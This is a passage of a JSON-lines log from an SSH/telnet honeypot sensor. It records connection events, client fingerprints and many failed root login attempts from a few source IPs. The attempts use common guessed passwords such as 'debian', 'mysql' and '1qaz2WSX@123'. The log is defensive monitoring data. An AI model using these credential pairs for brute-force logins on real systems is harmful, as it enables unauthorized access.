98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:55.414148Z","src_ip":"101.96.201.126","session":"936560710177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:56.416216Z","src_ip":"101.96.201.126","session":"936560710177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:57.641261Z","src_ip":"101.96.201.126","session":"936560710177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":35200,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf8f4982c6e9","protocol":"ssh","message":"New connection: 101.96.201.126:35200 (10.17.0.5:22) [session: cf8f4982c6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:57.881880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:57.894317Z","src_ip":"101.96.201.126","session":"cf8f4982c6e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:58.123230Z","src_ip":"101.96.201.126","session":"cf8f4982c6e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:02:59.091810Z","src_ip":"101.96.201.126","session":"cf8f4982c6e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:00.334293Z","src_ip":"101.96.201.126","session":"cf8f4982c6e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":45972,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc8baf452f35","protocol":"ssh","message":"New connection: 101.96.201.126:45972 (10.17.0.5:22) [session: bc8baf452f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:00.574232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:00.634057Z","src_ip":"101.96.201.126","session":"bc8baf452f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:01.756744Z","src_ip":"101.96.201.126","session":"bc8baf452f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:03.202694Z","src_ip":"101.96.201.126","session":"bc8baf452f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.531166791915894,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:04.277042Z","src_ip":"107.6.151.170","session":"df2b966dd626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:04.448295Z","src_ip":"101.96.201.126","session":"bc8baf452f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":45976,"dst_ip":"10.17.0.5","dst_port":22,"session":"4555df181e99","protocol":"ssh","message":"New connection: 101.96.201.126:45976 (10.17.0.5:22) [session: 4555df181e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:04.669290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:04.672602Z","src_ip":"101.96.201.126","session":"4555df181e99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:04.905135Z","src_ip":"101.96.201.126","session":"4555df181e99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:05.603149Z","src_ip":"101.96.201.126","session":"4555df181e99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:06.839351Z","src_ip":"101.96.201.126","session":"4555df181e99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":45990,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e241013613b","protocol":"ssh","message":"New connection: 101.96.201.126:45990 (10.17.0.5:22) [session: 7e241013613b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:07.095682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:07.099092Z","src_ip":"101.96.201.126","session":"7e241013613b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":58608,"dst_ip":"10.17.0.5","dst_port":22,"session":"caf7b89a32e4","protocol":"ssh","message":"New connection: 103.172.78.219:58608 (10.17.0.5:22) [session: caf7b89a32e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:07.201210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:07.204240Z","src_ip":"103.172.78.219","session":"caf7b89a32e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:07.339745Z","src_ip":"101.96.201.126","session":"7e241013613b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:07.516720Z","src_ip":"103.172.78.219","session":"caf7b89a32e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cgfhnfrxtvgbjy","message":"login attempt [root/cgfhnfrxtvgbjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:08.313947Z","src_ip":"103.172.78.219","session":"caf7b89a32e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.773645877838135,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:08.528092Z","src_ip":"107.6.151.170","session":"52b828265453","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:09.564917Z","src_ip":"101.96.201.126","session":"7e241013613b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:09.581250Z","src_ip":"103.172.78.219","session":"caf7b89a32e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:10.813227Z","src_ip":"101.96.201.126","session":"7e241013613b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36838,"dst_ip":"159.203.135.109","dst_port":23,"session":"018b058222ea","protocol":"telnet","message":"New connection: 170.64.224.25:36838 (159.203.135.109:23) [session: 018b058222ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:11.822180Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":48414,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9093e366b69","protocol":"ssh","message":"New connection: 101.96.201.126:48414 (10.17.0.5:22) [session: f9093e366b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:12.085912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:12.089076Z","src_ip":"101.96.201.126","session":"f9093e366b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:12.364674Z","src_ip":"101.96.201.126","session":"f9093e366b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":36194,"dst_ip":"10.17.0.5","dst_port":22,"session":"a38010052c20","protocol":"ssh","message":"New connection: 192.169.180.166:36194 (10.17.0.5:22) [session: a38010052c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:14.676292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:14.679994Z","src_ip":"192.169.180.166","session":"a38010052c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:14.745416Z","src_ip":"192.169.180.166","session":"a38010052c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andreas","password":"andreas123","message":"login attempt [andreas/andreas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:14.937593Z","src_ip":"192.169.180.166","session":"a38010052c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:16.004508Z","src_ip":"192.169.180.166","session":"a38010052c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":31255,"dst_ip":"159.203.135.109","dst_port":22,"session":"661301dbf0d0","protocol":"ssh","message":"New connection: 178.20.210.208:31255 (159.203.135.109:22) [session: 661301dbf0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:19.646383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:19.651480Z","src_ip":"178.20.210.208","session":"661301dbf0d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:19.779751Z","src_ip":"178.20.210.208","session":"661301dbf0d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX@123","message":"login attempt [root/1qaz2WSX@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:20.352805Z","src_ip":"178.20.210.208","session":"661301dbf0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:21.453544Z","src_ip":"178.20.210.208","session":"661301dbf0d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:25.822875Z","src_ip":"101.96.201.126","session":"f9093e366b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:27.075999Z","src_ip":"101.96.201.126","session":"f9093e366b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.201.126","src_port":39158,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2f5ce4176a5","protocol":"ssh","message":"New connection: 101.96.201.126:39158 (10.17.0.5:22) [session: b2f5ce4176a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:27.295162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:03:27.299150Z","src_ip":"101.96.201.126","session":"b2f5ce4176a5","protocol":"ssh"}
